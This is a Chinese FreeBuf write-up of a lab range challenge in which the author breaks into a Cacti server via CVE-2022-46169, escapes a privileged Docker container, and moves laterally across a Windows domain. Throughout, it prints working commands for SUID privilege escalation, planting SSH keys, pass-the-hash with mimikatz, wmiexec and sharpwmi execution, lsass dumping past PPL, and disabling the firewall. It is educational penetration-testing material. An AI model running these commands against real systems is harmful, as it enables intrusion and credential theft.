freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

域渗透-How2MoveLaterally靶场实战
2023-06-15 15:27:40
所属地 江苏省

介绍

本环境是xbitsplatform靶场平台的基础环境之一,主要考察横向移动的知识点。从 linux 外围打点开始,经历几次横向移动后最后获得域管权限。目前环境作为公开挑战已上线 xbitsplatform 靶场平台。

图片.png

知识点

  • CVE-2022-46169

  • suid 提权

  • docker 特权模式逃逸

  • 域内 linux 信息搜集

  • linux 横向移动

  • 域内低权限定位个人机

  • 本地账户横向移动

  • 域内横向移动

  • wmi 端口受限绕过

  • 内存保护 PPL 绕过

打点

扫描发现 cacti,版本为 1.2.22,疑似存在 CVE-2022-46169
图片.png
成功利用并写入一个 webshell
图片.png
没有开启 disable_function,gpc 等,直接执行命令就好:
图片.png
发现存在 dockerenv 文件,应该是 docker。经过一番信息搜集发现没有可以拓展的地方。

docker 逃逸

查看/dev 目录发现有很多文件:
图片.png
说明该 docker 是特权模式启动,存在逃逸的可能。
直接尝试挂载物理机磁盘,先查看以下磁盘:
图片.png
显示权限不足,想办法先提权。

查找 suid 文件:

find / -user root -perm -4000 -exec ls -ldb {} \;

有比较特殊的文件 find:
图片.png
看一下怎么利用:https://gtfobins.github.io/gtfobins/find/
图片.png
执行:

find . -exec /bin/sh -p -c whoami \; -quit

成功提权:
图片.png

通过 root 权限查看挂在磁盘:

find . -exec /bin/sh -p -c "mkdir /mnt/pwn" \; -quit
find . -exec /bin/sh -p -c mount /dev/dm-0 /mnt/pwn\; -quit

会报错:
图片.png
这里的 root 权限是有限制的。但是我们在/mnt 目录下发现一个已经挂载目录,并且可以读取:

find . -exec /bin/sh -p -c 'ls /mnt/cacti' \; -quit

看起来就是物理机的磁盘,那么问题就转换成可以读写文件获取该 linux 权限了。
图片.png
这里采用写公钥的办法,首先生成一对公私钥:
图片.png
编码后写入 ssh 配置文件:

find . -exec /bin/sh -p -c 'echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBQkpRQUFBUUVBcDJTMHB4K012Y2F4UlZsZ0c1Yk5jb2M0RW1QZHd3dEhWT2h4UW5SMWYxVDUwUFArU0wzV1JDSG5HeXVnVkwweVJNak9pVHJLVVBmOGZkT2tqVDh5T1k1dndXSmVLM1ZKOXd4Zkx6UHZycmM5SkJTWVhwY1Z1eS9oMU5id2N6bGt5d2xNVjAxVytzUG4vNGxCZnlHOGtBcWUzMnVVdEp4UU9yVndlOW1Xak1IRzN3eHVOUk4rR3REK3EvRGJSZ0lMUjlTSWtWOG9hMzdONENaZVRXdkJ3RS9RWGZ3UFh5RlJVTVlKNkUxcXFHUVpadmhSMlhlWGpRTWdtODlEZVZFbVFOcnVVYzA4MWpkRnN3Mm9lUG1qbCtZaTkrZmdnSWdFSnlqUTdxc21RczFqUlNZclNkWnZnaEVILzB2Zm5VMGdYRUN5M0hTZm5Jd2RTcmFkeDNWcXZ3PT0gcnNhLWtleS0yMDIzMDQyNg== | base64 -d > /mnt/cacti/root/.ssh/authorized_keys' \; -quit

选择公钥后登录:
图片.png
登录成功:
图片.png

linux 域信息搜集

查看 dns,显然存在域,域控为 10.0.2.100:
图片.png
ping 一下,ttl 为 128,是 windows 域:
图片.png
查看具体的 ldap 配置,域为 move.lab:
图片.png
搜索 openldap 及 web 等目录寻找和域相关的信息:

grep -rn move.lab /etc
grep -rn move.lab /var/www/html

图片.png
几个文件看下来没有域凭据。但我们可以获得几个一些有效信息:

域名为 move.lab,域控机器 ip 为 10.0.0.100,存在域账户 linux_ldap 并可以登录当前的 linux。

如果我们可以拿到 linux_ldap 这个用户的身份可以先将域的 ldap 信息导出,在/tmp 目录下发现了 linux_ldap 用户缓存的票据:
图片.png
设置环境变量为这个票据:

[root@cacti tmp]# export KRB5CCNAME=/tmp/krb5cc_1680801105

使用 ldapsearch 导出信息

ldapsearch  -b "dc=move,dc=lab" -H ldap://10.0.2.100

显示认证失败:
图片.png
看来这些工具并不支持票据认证,使用 impacet 工具尝试,这里直接使用打包好的 elf 程序:

[root@cacti tmp]# ./GetADUsers_linux_x86_64  move.lab/linux_ldap -k  -no-pass -all

显示 ticket 暂时过期了
图片.png

通过一番查询发现可以通过一些其他的方式找到域凭据,比如从内存获取 linux_ldap 的票据,甚至可以获取到 linux 机器的机器 hash。尝试从从 krb5.keytab 获取机器 hash:
图片.png

这样我们就可以用这个机器的身份来搜集 ldap 信息:

[root@cacti tmp]# ./GetADUsers_linux_x86_64  move.lab/cacti\$ -hashes 7eb5e976f35341c3a9aa667a7a701ec0:7eb5e976f35341c3a9aa667a7a701ec0  -all

可以成功查询:
图片.png

但 impacket 对于 ldap 信息搜集的不全,只有枚举用户的功能。现在就转换成有一个机器和机器 hash(域凭据)的情况下如何获取 ldap 信息了。

本地 pth:

sekurlsa::pth /domain:move.lab /dc:dc.move.lab /user:cacti$ /ntlm:7eb5e976f35341c3a9aa667a7a701ec0

使用 Adfind 导出 ldap 信息:
图片.png

定位域用户机器

目前可以使用 linux_ldap 的身份做操作,查看 linux_ldap 用户信息:

dn:CN=linux_ldap,CN=Users,DC=move,DC=lab
>objectClass: top
>objectClass: person
>objectClass: organizationalPerson
>objectClass: user
>cn: linux_ldap
>distinguishedName: CN=linux_ldap,CN=Users,DC=move,DC=lab
>instanceType: 4
>whenCreated: 20230422140814.0Z
>whenChanged: 20230426144030.0Z
>uSNCreated: 12838
>memberOf: CN=IT admins,CN=Users,DC=move,DC=lab
>uSNChanged: 13727
>name: linux_ldap
>objectguid: {B1979F8F-42A9-4656-8F85-67827C2A8239}
>userAccountControl: 66048
>badPwdCount: 2
>codePage: 0
>countryCode: 0
>badPasswordTime: 133269901580757155
>lastLogoff: 0
>lastLogon: 133268853178838661
>pwdLastSet: 133266460945786222
>primaryGroupID: 513
>objectsid: S-1-5-21-1540577040-1432127714-718651653-1105
>accountExpires: 0
>logonCount: 3
>sAMAccountName: linux_ldap
>sAMAccountType: 805306368
>objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=move,DC=lab
>dSCorePropagationData: 16010101000000.0Z
>lastLogonTimestamp: 133266470902405676

linux_ldap 为 IT admins 组成员,IT admins 不属于任何特权组。出现这种情况一般是 IT admins 为一些机器的本地管理员组成员,方便管理员管理机器,但在 AD 上没有特权。

我们需要知道 linux_ldap 能登哪台机器,最暴力的方式是直接进行认证,如 rdp/wmi/smb 等。这样在很多有防护的环境是比较危险的,会直接提示权限不足。

我们可以使用一些列 windows API 远程枚举出机器本地组的成员,效果和在机器上执行"net localgroup administrators"类似。

比如:https://github.com/SkewwG/domainTools/tree/master/NetLocalGroupGetMembers

图片.png

好处是只需要能建立 smb 连接就可以使用,默认情况下普通域账户其实是可以登录任何一台域机器的,但不能通过 rdp 这样的方式远程登录。net use 这种可以认证通过,但进行 dir c:\这样的操作会报 access deny。

比如:

图片.png

用这系列 api 可以避免触发 access deny,降低风险。

pth 后成功枚举出了一些机器的本地管理组:

图片.png

发现 IT admins 是 server01(10.0.2.199)的本地管理员组成员,我们可以通过已有的 linux_ldap 控制这台机器。

横向移动

过了一段时间我们看到 linux_ldap 用户有登录行为,

图片.png

票据应该有效了,直接使用 impacket 的工具 wmiexec 横向:

export KRB5CCNAME=/tmp/krb5cc_1680801105
./wmiexec_linux_x86_64 move.lab/linux_ldap@10.0.2.199 -k  -no-pass -dc-ip 10.0.2.100

报错:

图片.png

票据认证需要使用 FQDN 或者 NETbiosNAME:

export KRB5CCNAME=/tmp/krb5cc_1680801105
./wmiexec_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k  -no-pass -dc-ip 10.0.2.100

成功:

图片.png

抓内存发现没有域凭据,抓本地注册表,这里因为目标是 windows 系统,存在编码的问题,部分命令回显有问题,但可以正常执行:

图片.png

使用 smbclient 获取文件:

./smbclient_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k  -no-pass -dc-ip 10.0.2.100

图片.png

使用 mimikatz 解出注册表中的 hash:

图片.png

wmi 横向移动

现在有本地 administrator 账户的 hash,实战中可能有很多情况本地 administrator 账户的密码是一样的,比如虚拟机克隆、统一装机、组策略等情况。计划使用本地 administrator 进行横向移动。

查看 ldap 信息发现还有一台 windows server02:

图片.png

尝试横向移动:

./wmiexec_linux_x86_64 Administrator@server02.move.lab -hashes  83cb8d375287916f79bbf0d29accc893:83cb8d375287916f79bbf0d29accc893 -no-pass -dc-ip 10.0.2.100

发现不成功,一直卡在界面,疑似端口不通。查看端口开放情况:
图片.png

发现只开通了 135,我们知道一般的 wmi 横向移动需要结合 135 端口的 dcom 和 445 端口的 smb 服务,wmiexec 的源码也验证了这一点:

图片.png

现在面临的问题就是在仅开放 135 端口的情况下如何进行横向移动。这里使用 https://github.com/QAX-A-Team/sharpwmi

该工具主要是通过 rpc 协议操作注册表,将命令执行的结果写入注册表,之后读取注册表来代替使用 smb 的形式拿到回显:

图片.png

ExecCmd 实现远程调用 wmi:

图片.png
该工具支持 pth,需要和 mimikatz 结合使用,首先本机进行 pth:

privilege::debug
sekurlsa::pth /user:administrator /domain:server02 /ntlm:83cb8d375287916f79bbf0d29accc893

成功执行:

图片.png

抓取内存

查看 lsass 的 pid
图片.png

使用 Minudump 函数抓取内存:

powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump 580 C:\windows\temp\lsass.dmp full

其中","符号影响了命令执行:
图片.png

可以通过执行 bat 的形式绕过。使用 sharpwmi 自带的上传功能上传一个 bat:

sharpwmi.exe pth 10.0.2.105 upload 1.bat c:\windows\temp\1.bat

不报错但也没有文件生成:
图片.png

换一种 dump 方式,上传 LOLBins-procdump64.exe,上传时发现了 sharpwmi 上传有个 bug:
图片.png

传进去的是上一次上传的结果。可以对工具进行修改,这里笔者怕麻烦,使用远程下载的方式下载到机器上:
图片.png

执行依旧存在问题,看起来无法开启 lsass 进程,这种情况有几种可能,一是当前用户可能没有 SeDebugPrivilege 权限,另外一种可能是被杀软拦截了,其次就是可能开启了 PPL 保护机制。

首先确认存在 SeDebugPrivilege 权限:
图片.png

其次检查进程及驱动,未发现防护软件。
图片.png

查询注册表,果然开启了 PPL:
图片.png

绕过 ppl

这里直接尝试之前的文章《域渗透-一文了解 lsass 内存转储攻防技术》中的用户态技术,使用 https://github.com/last-byte/ RIPPL 工具:

sharpwmi.exe pth 10.0.2.105 cmd "c:\windows\temp\RIPPL.exe -D -f lsass.exe c:\windows\temp\lsass.dmp"

成功导出:
图片.png

怎么拿 lsass 到本地是个问题,这里直接关闭该机器的防火墙,通过 smb 获取:

sharpwmi.exe pth 10.0.2.105 cmd "netsh advfirewall set domainprofile state off"
copy /z \\10.0.2.105\c$\windows\temp\lsass.dmp

图片.png
通过 mimikatz 解析 dump 文件:
图片.png

获得 hash:

Administrator b9f21293575140357afceead26c3397b

pth 后读取 flag:
图片.png

总结:

本环境主要模拟了在实战环境的渗透测试流程,通过web打点进入主机,检测为Docker环境,之后逃逸发现在Linux域中,之后进行横向移动及一系列攻击手法,最后拿到flag,环境目前已公开在7bits攻防对抗平台(xbitsplatform)。

# 渗透测试 # web安全 # 靶场平台 # 靶场实战
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录